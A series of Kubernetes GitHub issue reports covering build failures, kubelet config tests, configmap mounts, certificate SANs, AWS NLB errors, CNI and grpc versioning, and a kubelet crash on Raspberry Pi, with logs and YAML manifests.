is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r make release-skip-tests quick-release  err\r    \r +++  0720 22:42:36  starting docker build for image: cloud-controller-manager\r /root/kubernetes-1.7.1/build/lib/release.sh: line 282: kube_git_version: unbound variable\r +++  0720 22:42:36  starting docker build for image: kube-apiserver\r /root/kubernetes-1.7.1/build/lib/release.sh: line 282: kube_git_version: unbound variable\r +++  0720 22:42:36  starting docker build for image: kube-controller-manager\r /root/kubernetes-1.7.1/build/lib/release.sh: line 282: kube_git_version: unbound variable\r +++  0720 22:42:36  starting docker build for image: kube-scheduler\r /root/kubernetes-1.7.1/build/lib/release.sh: line 282: kube_git_version: unbound variable\r +++  0720 22:42:36  starting docker build for image: kube-aggregator\r /root/kubernetes-1.7.1/build/lib/release.sh: line 282: kube_git_version: unbound variable\r +++  0720 22:42:36  starting docker build for image: kube-proxy\r /root/kubernetes-1.7.1/build/lib/release.sh: line 282: kube_git_version: unbound variable\r !!!  0720 22:42:36  previous docker build failed\r !!!  0720 22:42:36  call tree:\r !!!  0720 22:42:36   1: /root/kubernetes-1.7.1/build/lib/release.sh:218 kube::release::create_docker_images_for_server ... \r !!!  0720 22:42:36   2: /root/kubernetes-1.7.1/build/lib/release.sh:94 kube::release::package_server_tarballs ... \r !!!  0720 22:42:36   3: build/release.sh:45 kube::release::package_tarballs ... \r !!!  0720 22:42:36  previous tarball phase failed\r make:      release-skip-tests  error 1\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r wget https://github.com/kubernetes/kubernetes/archive/v1.7.1.tar.gz \r cd kubernetes \r make release-skip-tests quick-release\r \r   environment  :\r - kernel  linux vm_95_198_centos 3.10.0-327.36.3.el7.x86_64 \r - docker version   17.06.0-ce \r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r offshoot of  49334.  let's change the tests to use the programmatic api instead of gcloud cli.\r

from @dchen1107 in https://github.com/kubernetes/kubernetes/pull/46254 discussion_r131035372:\r >the most important things i want to see through node e2e tests:\r >1  the kubelet is started from last-known-good-config file\r >2  kubelet can download the new config properly to the node; and restart itself from the new config file\r >3  kubelet can mark the config bad properly after several round of crashing caused the bad config\r >4  kubelet can roll back the last-known-good-config and restart itself from that good one\r >5  kubelet can properly reports its configuration status\r \r note:\r  2  is covered by existing e2e_node tests\r \r  1, 4, 5  were covered by the  manual test cases  https://docs.google.com/document/d/1l_bw_dy4qgeocsaio_oxm8gxjvkwz84omzflv-swuk8/edit  , all of which i plan to turn into automated tests after this pr merges - but i'm trying not to increase the size of this pr any further\r \r ~ 3  we need to figure out how to test this. i don't want to rely on a \ valid\  config that causes a crash loop - because the very existence of such a config should be viewed as a bug. i also don't want to include a \ please crash loop for our tests\  field in the config, because that's an ugly api. the best solution is not clear here.~ we decided to remove crash-loop detection, see  51146.\r \r filing this issue to track this work:\r -  x  turn the  manual test cases  https://docs.google.com/document/d/1l_bw_dy4qgeocsaio_oxm8gxjvkwz84omzflv-swuk8/edit   into e2e_node tests\r   -  x  remote config\r   -  x  local  from file  config\r -  x  ~test the crash-loop detection~ removed, see above\r \r /cc @dchen1107 \r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r the  documentation  https://kubernetes.io/docs/setup/independent/install-kubeadm/  says i need to \ check required ports\ , which is vague and don't convey much meaning.\r \r   what you expected to happen  :\r specify the transport protocol  tcp or udp  of each port, if i need to accept outgoing or incoming traffic, and to/from where the traffic if going/coming.  \r \r   how to reproduce it  as minimally and precisely as possible   :\r read the documentation.\r \r   anything else we need to know?  :\r no.\r \r ps. coreos  documentation  https://coreos.com/kubernetes/docs/latest/kubernetes-networking.html  has all the necessary information.\r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r \r   what happened  :\r i am trying to add environment specific xml files to a pod. the location where i want to update these xml files have few other xml files with sub directories at this location. i only want to update two files using configmap.\r \r \r   what you expected to happen  :\r once i configure the configmap, the files and subdirectories are all deleted with my configmap files and only the files that are part of the config map show up in the pod at the mountpoint.\r i want to only update the specific xml files i.e configured with configmap and still, want to see the other files and subdirectories at the mount point in the pod. \r   how to reproduce it  as minimally and precisely as possible   :\r create a config map and mount it to the pod at a location where there are no of files and a sub directory. using subpath also did not help.\r \r   anything else we need to know?  :\r           volumemounts:\r         - mountpath: /deployments/websocket-chat/web-inf/web.xml\r           name: volume-ju4m3\r           subpath: web.xml\r           \r       volumes:\r       - configmap:\r           defaultmode: 420\r           items:\r           - key: web.xml\r             path: web.xml\r           name: fromfile1-configmap\r         name: volume-ju4m3\r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.5\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  : rhel 7\r - install tools:\r - others:\r \r 

kube-apiserver  should have a concept of whether it is currently ready for connections or not. it could say not when it is shutting down, initializing, or disconnected from etcd. this can be checked by kubelet and fed to a load balancer to keep clients from attempting to connect to a replica which is not ready.\r \r  54849 adds a more graceful shutdown path, we should build on that.

\r  \r \r   what happened  :\r \r i created a cluster with kubeadm, and then configured the api server flag  --kubelet-certificate-authority . everything seemed fine until i tried to use helm, at which point i got the following error:\r \r    \r error: forwarding ports: error upgrading connection: error dialing backend: x509: cannot validate certificate for 10.70.35.7 because it doesn't contain any ip sans\r    \r \r   what you expected to happen  :\r \r when boostrapping the nodes, an ip san should be included in the csr generated and sent via the kubelet. this seems to be handled by this function in  client-go :\r \r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/client-go/util/certificate/csr/csr.go l51\r \r which has no option to in include a node ip in the csr.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r simply enable  kubelet-certificate-authority  checking on the api server\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : centos 7\r - install tools: kubeadm\r

is this a bug report or feature request?  :\r \r   \r   what happened  : i created a nlb object to compare with a classic elb but none of the nlb targets went healthy. when i describe the elb:\r \r    \r $ k describe svc nginx-nlb\r name:                     nginx-nlb\r namespace:                nginx-ingress\r labels:                   <none>\r annotations:              service.beta.kubernetes.io/aws-load-balancer-type=nlb\r selector:                 name=nginx-ingress-controller\r type:                     loadbalancer\r ip:                       100.69.106.162\r loadbalancer ingress:     ae90f70edacc911e88d4b06fe9349b72-123.elb.eu-central-1.amazonaws.com\r port:                     http  80/tcp\r targetport:               80/tcp\r nodeport:                 http  32150/tcp\r endpoints:                <none>\r port:                     https  443/tcp\r targetport:               443/tcp\r nodeport:                 https  31836/tcp\r endpoints:                <none>\r session affinity:         none\r external traffic policy:  local\r healthcheck nodeport:     32508\r events:\r   type     reason                      age                from                message\r   ----     ------                      ----               ----                -------\r   warning  creatingloadbalancerfailed  28m                service-controller  error creating load balancer  will retry : failed to ensure load balancer for service nginx-ingress/nginx-nlb: error adding tags after creating load balancer: \ validationerror: only one resource can be tagged at a time\ \\tstatus code: 400, request id: e9bc5d70-acc9-11e8-a6e0-dfee3d0149ec\ \r   normal   ensuringloadbalancer        27m  x2 over 28m   service-controller  ensuring load balancer\r   normal   ensuredloadbalancer         27m                service-controller  ensured load balancer\r    \r \r   what you expected to happen  : the nlb should have behaved just like an elb, routing traffic to the backend pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a nginx-ingress daemonset and then expose it two ways: by elb and nlbs:\r \r    \r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   name: nginx-ingress\r   namespace: nginx-ingress\r spec:\r   selector:\r     matchlabels:\r       app: nginx-ingress\r   template:\r     metadata:\r       labels:\r         app: nginx-ingress\r     spec:\r       serviceaccountname: nginx-ingress\r       containers:\r       - image: nginx/nginx-ingress:1.2.0-alpine\r         name: nginx-ingress\r         ports:\r         - name: http\r           containerport: 80\r           hostport: 80\r         - name: https\r           containerport: 443\r           hostport: 443 \r         env:\r         - name: pod_namespace\r           valuefrom:\r             fieldref:\r               fieldpath: metadata.namespace\r         args:\r           - -nginx-configmaps=$ pod_namespace /nginx-config\r           - -default-server-tls-secret=staging/wildcard-cert\r             - -v=3   enables extensive logging. useful for trooublshooting.\r         volumemounts:\r         - mountpath: /var/run/secrets/mysite.com\r           name: httpauth\r           readonly: true\r       volumes:\r       - name: httpauth\r         secret:\r           secretname: httpauth\r    \r \r    \r apiversion: v1\r kind: service\r metadata:\r   name: nginx\r   namespace: nginx-ingress\r spec:\r   selector:\r     name: nginx-ingress-controller\r   ports:\r   - name: http\r     protocol: tcp\r     port: 80\r     targetport: 80\r   - name: https\r     protocol: tcp\r     port: 443\r     targetport: 443\r   type: loadbalancer\r    \r \r    \r apiversion: v1\r kind: service\r metadata:\r   name: nginx-nlb\r   namespace: nginx-ingress\r   annotations:\r     service.beta.kubernetes.io/aws-load-balancer-type: \ nlb\ \r spec:\r   type: loadbalancer\r   externaltrafficpolicy: local\r   selector:\r     name: nginx-ingress-controller\r   ports:\r   - name: http\r     protocol: tcp\r     port: 80\r     targetport: 80\r   - name: https\r     protocol: tcp\r     port: 443\r     targetport: 443\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-08t16:31:10z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t09:56:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r my vpc:\r \r    \r $ aws ec2 describe-vpcs\r {\r     \ vpcs\ :  \r         {\r             \ cidrblock\ : \ 172.20.0.0/16\ ,\r             \ dhcpoptionsid\ : \ dopt-7ff51116\ ,\r             \ state\ : \ available\ ,\r             \ vpcid\ : \ vpc-89ef61e1\ ,\r             \ instancetenancy\ : \ default\ ,\r             \ cidrblockassociationset\ :  \r                 {\r                     \ associationid\ : \ vpc-cidr-assoc-a50db4cc\ ,\r                     \ cidrblock\ : \ 172.20.0.0/16\ ,\r                     \ cidrblockstate\ : {\r                         \ state\ : \ associated\ \r                     }\r                 }\r              ,\r             \ isdefault\ : false,\r             \ tags\ :  \r                 {\r                     \ key\ : \ aws:cloudformation:stack-name\ ,\r                     \ value\ : \ sharedvpc\ \r                 },\r                 {\r                     \ key\ : \ kubernetes.io/cluster/k.mysite.com\ ,\r                     \ value\ : \ shared\ \r                 },\r                 {\r                     \ key\ : \ aws:cloudformation:stack-id\ ,\r                     \ value\ : \ arn:aws:cloudformation:eu-central-1:1234:stack/sharedvpc/5678\ \r                 },\r                 {\r                     \ key\ : \ aws:cloudformation:logical-id\ ,\r                     \ value\ : \ shared\ \r                 },\r                 {\r                     \ key\ : \ name\ ,\r                     \ value\ : \ sharedvpc\ \r                 }\r              \r         }\r      \r }\r    \r \r my subnets:\r \r    \r {\r     \ subnets\ :  \r         {\r             \ availabilityzone\ : \ eu-central-1b\ ,\r             \ availableipaddresscount\ : 9,\r             \ cidrblock\ : \ 172.20.1.16/28\ ,\r             \ defaultforaz\ : false,\r             \ mappubliciponlaunch\ : false,\r             \ state\ : \ available\ ,\r             \ subnetid\ : \ subnet-b51c55cf\ ,\r             \ vpcid\ : \ vpc-89ef61e1\ ,\r             \ assignipv6addressoncreation\ : false,\r             \ ipv6cidrblockassociationset\ :   ,\r             \ tags\ :  \r                 {\r                     \ key\ : \ aws:cloudformation:logical-id\ ,\r                     \ value\ : \ postgresec2subnet2b\ \r                 },\r                 {\r                     \ key\ : \ aws:cloudformation:stack-id\ ,\r                     \ value\ : \ arn:aws:cloudformation:eu-central-1:1234:stack/encryptedpostgresdb/d0fdda80-6d9d-11e7-a29e-50a68ad4f2fe\ \r                 },\r                 {\r                     \ key\ : \ aws:cloudformation:stack-name\ ,\r                     \ value\ : \ encryptedpostgresdb\ \r                 }\r              \r         },\r         {\r             \ availabilityzone\ : \ eu-central-1b\ ,\r             \ availableipaddresscount\ : 8174,\r             \ cidrblock\ : \ 172.20.64.0/19\ ,\r             \ defaultforaz\ : false,\r             \ mappubliciponlaunch\ : false,\r             \ state\ : \ available\ ,\r             \ subnetid\ : \ subnet-d9a137a3\ ,\r             \ vpcid\ : \ vpc-89ef61e1\ ,\r             \ assignipv6addressoncreation\ : false,\r             \ ipv6cidrblockassociationset\ :   ,\r             \ tags\ :  \r                 {\r                     \ key\ : \ kubernetescluster\ ,\r                     \ value\ : \ k.mysite.com\ \r                 },\r                 {\r                     \ key\ : \ subnettype\ ,\r                     \ value\ : \ public\ \r                 },\r                 {\r                     \ key\ : \ kubernetes.io/role/elb\ ,\r                     \ value\ : \ 1\ \r                 },\r                 {\r                     \ key\ : \ kubernetes.io/cluster/k.mysite.com\ ,\r                     \ value\ : \ owned\ \r                 },\r                 {\r                     \ key\ : \ name\ ,\r                     \ value\ : \ eu-central-1b.k.mysite.com\ \r                 }\r              \r         },\r         {\r             \ availabilityzone\ : \ eu-central-1a\ ,\r             \ availableipaddresscount\ : 8175,\r             \ cidrblock\ : \ 172.20.32.0/19\ ,\r             \ defaultforaz\ : false,\r             \ mappubliciponlaunch\ : false,\r             \ state\ : \ available\ ,\r             \ subnetid\ : \ subnet-480c4420\ ,\r             \ vpcid\ : \ vpc-89ef61e1\ ,\r             \ assignipv6addressoncreation\ : false,\r             \ ipv6cidrblockassociationset\ :   ,\r             \ tags\ :  \r                 {\r                     \ key\ : \ name\ ,\r                     \ value\ : \ eu-central-1a.k.mysite.com\ \r                 },\r                 {\r                     \ key\ : \ kubernetes.io/role/elb\ ,\r                     \ value\ : \ 1\ \r                 },\r                 {\r                     \ key\ : \ subnettype\ ,\r                     \ value\ : \ public\ \r                 },\r                 {\r                     \ key\ : \ kubernetescluster\ ,\r                     \ value\ : \ k.mysite.com\ \r                 },\r                 {\r                     \ key\ : \ kubernetes.io/cluster/k.mysite.com\ ,\r                     \ value\ : \ owned\ \r                 }\r              \r         },\r         {\r             \ availabilityzone\ : \ eu-central-1a\ ,\r             \ availableipaddresscount\ : 9,\r             \ cidrblock\ : \ 172.20.1.0/28\ ,\r             \ defaultforaz\ : false,\r             \ mappubliciponlaunch\ : false,\r             \ state\ : \ available\ ,\r             \ subnetid\ : \ subnet-849d91ec\ ,\r             \ vpcid\ : \ vpc-89ef61e1\ ,\r             \ assignipv6addressoncreation\ : false,\r             \ ipv6cidrblockassociationset\ :   ,\r             \ tags\ :  \r                 {\r                     \ key\ : \ aws:cloudformation:logical-id\ ,\r                     \ value\ : \ postgresec2subnet2a\ \r                 },\r                 {\r                     \ key\ : \ aws:cloudformation:stack-name\ ,\r                     \ value\ : \ encryptedpostgresdb\ \r                 },\r                 {\r                     \ key\ : \ aws:cloudformation:stack-id\ ,\r                     \ value\ : \ arn:aws:cloudformation:eu-central-1:1234:stack/encryptedpostgresdb/d0fdda80-6d9d-11e7-a29e-50a68ad4f2fe\ \r                 }\r              \r         },\r         {\r             \ availabilityzone\ : \ eu-central-1a\ ,\r             \ availableipaddresscount\ : 10,\r             \ cidrblock\ : \ 172.20.0.0/28\ ,\r             \ defaultforaz\ : false,\r             \ mappubliciponlaunch\ : false,\r             \ state\ : \ available\ ,\r             \ subnetid\ : \ subnet-3330785b\ ,\r             \ vpcid\ : \ vpc-89ef61e1\ ,\r             \ assignipv6addressoncreation\ : false,\r             \ ipv6cidrblockassociationset\ :   ,\r             \ tags\ :  \r                 {\r                     \ key\ : \ aws:cloudformation:stack-name\ ,\r                     \ value\ : \ postgresdb\ \r                 },\r                 {\r                     \ key\ : \ aws:cloudformation:stack-id\ ,\r                     \ value\ : \ arn:aws:cloudformation:eu-central-1:1234:stack/postgresdb/37aa96b0-20dc-11e7-a1de-500c52a6ce9a\ \r                 },\r                 {\r                     \ key\ : \ aws:cloudformation:logical-id\ ,\r                     \ value\ : \ postgresec2subnet2a\ \r                 }\r              \r         },\r         {\r             \ availabilityzone\ : \ eu-central-1c\ ,\r             \ availableipaddresscount\ : 8174,\r             \ cidrblock\ : \ 172.20.96.0/19\ ,\r             \ defaultforaz\ : false,\r             \ mappubliciponlaunch\ : false,\r             \ state\ : \ available\ ,\r             \ subnetid\ : \ subnet-b68319fb\ ,\r             \ vpcid\ : \ vpc-89ef61e1\ ,\r             \ assignipv6addressoncreation\ : false,\r             \ ipv6cidrblockassociationset\ :   ,\r             \ tags\ :  \r                 {\r                     \ key\ : \ kubernetes.io/cluster/k.mysite.com\ ,\r                     \ value\ : \ owned\ \r                 },\r                 {\r                     \ key\ : \ kubernetes.io/role/elb\ ,\r                     \ value\ : \ 1\ \r                 },\r                 {\r                     \ key\ : \ name\ ,\r                     \ value\ : \ eu-central-1c.k.mysite.com\ \r                 },\r                 {\r                     \ key\ : \ kubernetescluster\ ,\r                     \ value\ : \ k.mysite.com\ \r                 },\r                 {\r                     \ key\ : \ subnettype\ ,\r                     \ value\ : \ public\ \r                 }\r              \r         },\r         {\r             \ availabilityzone\ : \ eu-central-1b\ ,\r             \ availableipaddresscount\ : 10,\r             \ cidrblock\ : \ 172.20.0.16/28\ ,\r             \ defaultforaz\ : false,\r             \ mappubliciponlaunch\ : false,\r             \ state\ : \ available\ ,\r             \ subnetid\ : \ subnet-d77fe9ad\ ,\r             \ vpcid\ : \ vpc-89ef61e1\ ,\r             \ assignipv6addressoncreation\ : false,\r             \ ipv6cidrblockassociationset\ :   ,\r             \ tags\ :  \r                 {\r                     \ key\ : \ aws:cloudformation:logical-id\ ,\r                     \ value\ : \ postgresec2subnet2b\ \r                 },\r                 {\r                     \ key\ : \ aws:cloudformation:stack-id\ ,\r                     \ value\ : \ arn:aws:cloudformation:eu-central-1:1234:stack/postgresdb/37aa96b0-20dc-11e7-a1de-500c52a6ce9a\ \r                 },\r                 {\r                     \ key\ : \ aws:cloudformation:stack-name\ ,\r                     \ value\ : \ postgresdb\ \r                 }\r              \r         }\r      \r }\r    \r \r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-release \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r \r - kernel  e.g.  uname -a  :  linux ip-172-20-70-0 4.9.0-5-amd64  1 smp debian 4.9.65-3+deb9u2  2018-01-04  x86_64 gnu/linux \r - install tools: kops 1.10\r - others:\r

what happened  :\r \r kubelet didn't respect dns config returned by cni, it only uses what was specified by --cluster-dns or dns detected from host.\r \r was is by design?\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

according to etcd documentation, it says -  clientv3-grpc1.7: official client implementation, with grpc-go v1.7.x, which is used in latest etcd v3.2 and v3.3. , so we should be only using grpc-go 1.7.x \r \r since 1.7.5 is the latest in 1.7.x series, we should stick to that until we switch to etcd 3.4  which will need/use grpc-go 1.14.x \r \r however in https://github.com/kubernetes/kubernetes/pull/71020, we ended up switching to grpc to 1.13.0 which seems to be a potential culprit for issues being documented in https://github.com/kubernetes/kubernetes/issues/71696\r \r note that this is not a simple revert of the grpc-go version as the csi.pb.go  added in https://github.com/kubernetes/kubernetes/pull/71020/commits/c63476d0c4d8ec0d28360c505a25c5525b9cbbe7 diff-94325e976a8ceaffad911d49a184c626  must be re-generated with the correct version of protoc which will work with 1.7.5 of grpc-go \r \r /assign @saad-ali

jun 04 10:21:21 dev-node2 kubelet 11347 : w0604 10:21:21.292396   11347 cni.go:309  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ 534b6e9c4a60ac1d82d13236c0d2e5695095251e7ba154ffeafbbc3cbf1dcd67\ \r jun 04 10:21:21 dev-node2 kubelet 11347 : time=\ 2019-06-04t10:21:21+08:00\  level=info msg=\ extracted identifiers\  node=dev-node2 orchestrator=k8s workload=default.object-storage-api-service\r jun 04 10:21:21 dev-node2 kubelet 11347 : calico cni releasing ip address\r jun 04 10:21:21 dev-node2 kubelet 11347 : time=\ 2019-06-04t10:21:21+08:00\  level=info msg=\ no config file specified, loading config from environment\ \r jun 04 10:21:21 dev-node2 kubelet 11347 : time=\ 2019-06-04t10:21:21+08:00\  level=info msg=\ datastore type: etcdv2\ \r jun 04 10:21:21 dev-node2 kubelet 11347 : time=\ 2019-06-04t10:21:21+08:00\  level=info msg=\ releasing address using workloadid\  workload=default.object-storage-api-service\r jun 04 10:21:21 dev-node2 kubelet 11347 : time=\ 2019-06-04t10:21:21+08:00\  level=info msg=\ releasing all ips with handle 'default.object-storage-api-service'\ \r jun 04 10:21:21 dev-node2 kubelet 11347 : time=\ 2019-06-04t10:21:21+08:00\  level=info msg=\ get key: /calico/ipam/v2/handle/default.object-storage-api-service\ \r jun 04 10:21:21 dev-node2 kubelet 11347 : time=\ 2019-06-04t10:21:21+08:00\  level=info msg=\ key not found error\ \r jun 04 10:21:21 dev-node2 kubelet 11347 : time=\ 2019-06-04t10:21:21+08:00\  level=error msg=\ resource does not exist: {default.object-storage-api-service}\  workload=default.object-storage-api-service\r jun 04 10:21:21 dev-node2 kubelet 11347 : time=\ 2019-06-04t10:21:21+08:00\  level=info msg=\ no config file specified, loading config from environment\ \r jun 04 10:21:21 dev-node2 kubelet 11347 : time=\ 2019-06-04t10:21:21+08:00\  level=info msg=\ datastore type: etcdv2\ \r jun 04 10:21:21 dev-node2 kubelet 11347 : time=\ 2019-06-04t10:21:21+08:00\  level=info msg=\ delete key: /calico/v1/host/dev-node2/workload/k8s/default.object-storage-api-service/endpoint/eth0\ \r jun 04 10:21:21 dev-node2 kubelet 11347 : time=\ 2019-06-04t10:21:21+08:00\  level=info msg=\ key not found error\ \r jun 04 10:21:21 dev-node2 kubelet 11347 : e0604 10:21:21.393749   11347 cni.go:352  error deleting default_object-storage-api-service/534b6e9c4a60ac1d82d13236c0d2e5695095251e7ba154ffeafbbc3cbf1dcd67 from network calico/calico-k8s-network: resource does not exist: workloadendpoint hostname=dev-node2, orchestrator=k8s, workload=default.object-storage-api-service, name=eth0 \r jun 04 10:21:21 dev-node2 kubelet 11347 : e0604 10:21:21.394687   11347 remote_runtime.go:132  stoppodsandbox \ 534b6e9c4a60ac1d82d13236c0d2e5695095251e7ba154ffeafbbc3cbf1dcd67\  from runtime service failed: rpc error: code = unknown desc = networkplugin cni failed to teardown pod \ object-storage-api-service_default\  network: resource does not exist: workloadendpoint hostname=dev-node2, orchestrator=k8s, workload=default.object-storage-api-service, name=eth0 \r jun 04 10:21:21 dev-node2 kubelet 11347 : e0604 10:21:21.394716   11347 kuberuntime_gc.go:169  failed to stop sandbox \ 534b6e9c4a60ac1d82d13236c0d2e5695095251e7ba154ffeafbbc3cbf1dcd67\  before removing: rpc error: code = unknown desc = networkplugin cni failed to teardown pod \ object-storage-api-service_default\  network: resource does not exist: workloadendpoint hostname=dev-node2, orchestrator=k8s, workload=default.object-storage-api-service, name=eth0

in  9682, @pnovotnak wrote: _i'd like to create resources that are accessible within my private network at my cloud provider  though outside my kubernetes cluster , but not to the outside internet, that are resolvable via dns within the cluster. ironically it seems like endpoint ips fit the bill  although they change and are not resolvable  whereas service ips, which are stable and what, are not accessible from outside the cluster._  to which @thockin responded: _reaching up into the cloud-provider's dns is in the cards for sometime after 1.0_

we'd like tolerance to be settable to a low value  for e2es  and of course a high value for some clusters which don't want too much unnecessary jitter.  i'll update with a pr shortly...  this can be an isolated fix.

now that  12648 is merged, can we remove  pods should cap back-off at maxcontainerbackoff  from the   slow   suite?  https://github.com/kubernetes/kubernetes/pull/13180 marked it as slow with a pr reference to  12648.  we should either remove it, or mark it as slow-by-design.

i have been trying to deploy the kubernetes cluster for ubuntu provider by following the instruction on  http://kubernetes.io/docs/getting-started-guides/ubuntu, i am getting following error for etcd.  error:  client: etcd cluster is unavailable or misconfigured error  0: dial tcp 127.0.0.1:4001: getsockopt: connection refused error  1: dial tcp 127.0.0.1:2379: getsockopt: connection refused

this is handled for direct volumes here: https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/predicates/predicates.go l126 we need something similar for when volumes are accessed through pvc's and pv's

i have read proposal  disk-accounting  https://github.com/pmorie/kubernetes/blob/3335a5bb195474d521db8adfc18faa92e130f5c8/docs/proposals/disk-accounting.md  which mentions a solution to limit disk storage. i'm confused about some questions.  questions: 1. does it decide that quota based on gid is the solution of disk limitation for ext4? 2. quota based on gid can't limit root user. does it mean that some pods' disk storage is limitless e.g. privileged containers . 3. why not use lvm to limit disk usage?

what keywords did you search in kubernetes issues before filing this one?  : pthread_create; resource temporarily unavailable\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t23:37:53z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:33:27z\ , goversion:\ go1.8rc2\ , compiler:\ gc\ , platform:\ linux/arm\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : raspberry pi 3\r -   os  : raspbian gnu/linux 8  jessie \r -   kernel  : linux 4.4.50-v7+ armv7l gnu/linux\r -   install tools  : kubeadm 1.6.1\r \r   what happened  :\r \r i have  pi-hole  https://pi-hole.net/  running on one of my nodes. here are the resources it consists of:\r \r     yaml\r ---\r apiversion: \ v1\ \r kind: \ secret\ \r metadata:\r   name: \ pi-hole\ \r data:\r   web-password: \ redacted\  \r type: \ opaque\ \r ---\r apiversion: \ v1\ \r kind: \ service\ \r metadata:\r   name: \ pi-hole\ \r spec:\r   selector:\r     app: \ pi-hole\ \r     component: \ pi-hole\ \r   ports:\r     - port: 80\r ---\r apiversion: \ apps/v1beta1\ \r kind: \ deployment\ \r metadata:\r   name: \ pi-hole\ \r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: \ pi-hole\ \r         component: \ pi-hole\ \r     spec:\r       nodeselector:\r         pi-hole: \ true\ \r       hostnetwork: true\r       containers:\r         - name: \ pi-hole\ \r           image: \ diginc/pi-hole:arm\ \r           env:\r             - name: \ serverip\ \r               value: \ 10.0.1.103\ \r             - name: \ webpassword\ \r               valuefrom:\r                 secretkeyref:\r                   name: \ pi-hole\ \r                   key: \ web-password\ \r             - name: \ dns1\ \r               value: \ 8.8.8.8\ \r             - name: \ dns2\ \r               value: \ 208.67.222.222\ \r             - name: \ virtual_host\ \r               value: \ pi-hole\ \r           ports:\r             - name: \ dns-tcp\ \r               containerport: 53\r               hostport: 53\r               protocol: \ tcp\ \r             - name: \ dns-udp\ \r               containerport: 53\r               hostport: 53\r               protocol: \ udp\ \r             - name: \ http\ \r               containerport: 80\r               hostport: 80\r           securitycontext:\r             capabilities:\r               add:\r                 - \ net_admin\ \r           volumemounts:\r             - name: \ etc-pihole\ \r               mountpath: \ /etc/pihole\ \r       volumes:\r         - name: \ etc-pihole\ \r           hostpath:\r             path: \ /etc/pihole\ \r    \r \r every few minutes, the kubelet on this node crashes and the node switches to notready status. here is an excerpt of the kubelet's logs from journald where you can see the initial crash and then another shortly afterwards:\r \r https://gist.github.com/jimmycuadra/0976a12036f709201ae3f937bdd0bb7f\r \r   what you expected to happen  :\r \r kubelet does not crash.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r   create a kubernetes cluster on raspberry pi 3s with the latest raspbian jessie lite.\r    kubectly apply  the yaml file shown above.\r   wait.\r \r   anything else we need to know  :\r \r this also happened to me on a cluster using hypriotos 1.4.0. i thought it might have been an issue with hypriot, so i rebuilt my cluster on regular raspbian jessie lite, but i'm still seeing the same problem. i've also seen it happening on another node where i run a deployment of traefik.

